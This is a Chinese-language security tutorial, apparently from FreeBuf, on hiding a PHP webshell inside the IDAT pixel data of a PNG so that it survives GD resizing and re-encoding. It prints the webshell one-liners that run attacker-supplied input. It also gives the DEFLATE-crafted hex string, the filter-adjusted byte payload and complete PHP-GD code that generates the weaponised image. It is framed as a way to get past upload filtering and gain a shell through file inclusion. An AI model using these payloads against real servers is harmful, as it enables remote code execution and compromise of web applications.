如何在PNG图片的IDAT CHUNKS中插入Webshell

把webshell编入一个图片中,就能够绕过绕过服务器的边界过滤,然后就像凭空让shell真实出现了一样。(并不是在comments或者metadata中编码),那么如何只用GD就将PHP shell写入PNG IDAT?

如果不能将代码写入文件系统,使用 server misconfiguration  Local File Inclusion  可能会非常难,以前允许图像上传的应用提供了有限的方法来通过 metadata 或者 malformed images 从而 将代码上传到服务器上。更多的情况是,无论怎么改变图片的大小,选择图片,修改削减它们的metadata或者是有效的写入其他的文件格式,都会破坏webshell的payload。

FreeBuf科普:

在PNG文件格式之内(真彩色PNG文件,而不是压缩的文件),IDAT块存储着像素信息。我们在组块中写入PHP shell。注意,目前认为pixel总是以3字节形式代表 RGB颜色通道存储。当将原始图像被保存为PNG图像时,图片的每一行都会以字节为单位被进行过滤,每一行都有一个前缀数字说明其使用的过滤器的类型(0×01到0×05),不同的行可能使用不同的过滤器。这样做的理由是为了提高压缩比。一旦所有的行都完成被过滤,他们都用DEFLATE算法压缩来形成IDAT chunk,如图:

所以,如果我们想要以原始图像形式输入数据,并且以shell形式储存,我们不仅需要bypass PNG line filters,还需要bypass DEFLATE algorithm。 从反方向进行更容易,所以我们以DEFLATE开始。

第一步:对一串字符串进行压缩形成一个shell脚本。

理想状态下,我们需要设计一种能够被压缩成shell脚本的字符串,这个过程并没有想象的那么难,但明显的是,我们的字符串不能够包含任何重复的代码块(否则它们将会被压缩)。 事实上,为防止脚本被压缩必须设计一种不包含任何超过两个以上字符的子串。这就意味着,我们必须保持字符串简短。

<?= `$_GET[0]` ;?>

如果真的只是那么简单就好了。悲哀的是,如果你对上面的字符串进行缩减,将会得到一大堆的无用输出。字符串并未被压缩,但是缩减的结果不会从一个字节的范围开始,并且将会使用最低有效位进行编码而非最高有效位。

事实证明,最容易编码的shell脚本是用大写字母编写的。

<?= $_GET [ 0 ]( $_POST [ 1 ]);?>

可以通过指定输入参数$_GET[0] 作为shell脚本执行的参数,通过用shell脚本命令来传递一个输出参数$_POST[1]来执行它。 

我们已经构建了下列字符来DEFLATES上面的部分,该字符串具有一个非常显著的优点,那就是可以将payload的首字节由0×00 更改至0×04 ,而压缩后的字符串仍可读。这对于进行下一个过程中的某个需要跨过png filters格式图形的阶段是至关重要的。

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

而令人心塞的是,只能在deflates这串字符之后,嵌入最初的原始图像并由此生成图像数据块作为png格式的图像数据库,并最终经由程序筛选并排列出图像。 那么就要继续来bypass了

第二步:绕过PNG line filters

一共有5种不同类型的过滤器,PNG编码器确定每一条线用哪一种。现在的问题是我们需要建设一个经过过滤器时,能够引发步骤1的字符串生成的字符串。

只要我们的图像只包含1行有效载荷(该图像的其余部分需要是不变的颜色如黑色),那么将会遇到的是1和3号两个过滤器,为了将事情进一步简化,如果有效负载保持在图像的左上角那么我们可以写出两个相反滤波器的代码如下:

// 反过滤器 1

for ($i = 0; $i < $s; $i++)


$p[$i+3] = ($p[$i+3] + $p[$i]) % 256;


// 反过滤器 3


for ($i = 0; $i < $s; $i++)


$p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

但是如果只使用过滤器3编码有效载荷,PNG编码器将尝试使用过滤器1去编码,而且如果使用过滤器1编码的话,PNG编码器会尝试使用过滤器0 - 这最终会陷入一个循环…

所以为了控制PNG编码器选择哪一个过滤器,在第二步编写了和过滤器3和过滤器1两个相反的shell,并把它们连接起来。这迫使编码器为有效载荷选择过滤器3,并且确保当原始图像被编写时,转变成步骤2的代码。

然后将压缩储存在IDAT chunk中的webshell中。

以下的payload通过以上方式实现——过滤器3为绿色,过滤器1为灰色。搞笑的是,事实上,使用过滤波器使payload变大。。。。

0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33

第三步:创建原始图像

当构造的能够将GD写入PNG文件的原始图像时,这时候将有效payload的图像放在图像的第一行是至关重要的。

在这一点上,上面只提供了适用于小型图像(?40PX )的有效载荷,构建较大的图像尺寸的有效载荷也是可以的。

payload需要被编码为像这样的RGB字节序列:

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);

 

$img = imagecreatetruecolor(32, 32);

 

for ($y = 0; $y < sizeof($p); $y += 3) {

$r = $p[$y];

$g = $p[$y+1];

$b = $p[$y+2];

$color = imagecolorallocate($img, $r, $g, $b);

imagesetpixel($img, round($y / 3), 0, $color);

}

 

imagepng($img);

图像被创建,会在黑色背景的左上角,显示一串相像素。


当用hex editor看图像时,将会看到以下 shell:


如果不想要黑色的背景,也是可以的。可以直接略过用data填写背景步骤。只要该data 中的bytes(不是pixels)不出现在图像内部的其他部分即可。如果出现在其他部分,当IDAT block 被压缩时,payload可能会被破坏——也可能会导致其他过滤器被编码器调配。

第四步:绕过图片转换(image transforms)

把webshell放入IDAT chunk的主要原因是能够人为绕过改变尺寸和重新采样操作——PHP-GD 包括两个这样做的函数。

Imagecopyresampled通过取一组像素的平均值来改变图像,这就意味着,为了绕过这一函数,需要在一系列矩形或正方形中进行编码。而Imagecopyresized通过在每几个像素中抽样更改图像,为了绕过这一函数,实际只需更改几个像素。以下的两张图,当被改变到他们原来尺寸的 1/8时,都包含 webshell。

Kim Shell——使用imagecopyresize将尺寸改为32×32 并保存为PNG 格式,然后使用 GD 来显示该shell.


使用imagecopyresample将尺寸改变到32×3 并保存为PNG格式,使用GD显示shell。

总结

在IDAT chunks 插入shell有很多的优点,能够绕过大多数的数据验证技术,在这些技术中,应用程序调整或者重新编码上传的图片。甚至可以以GIF或JPEG等上传以上payload。只要最终的图片是以PNG格式保存的即可。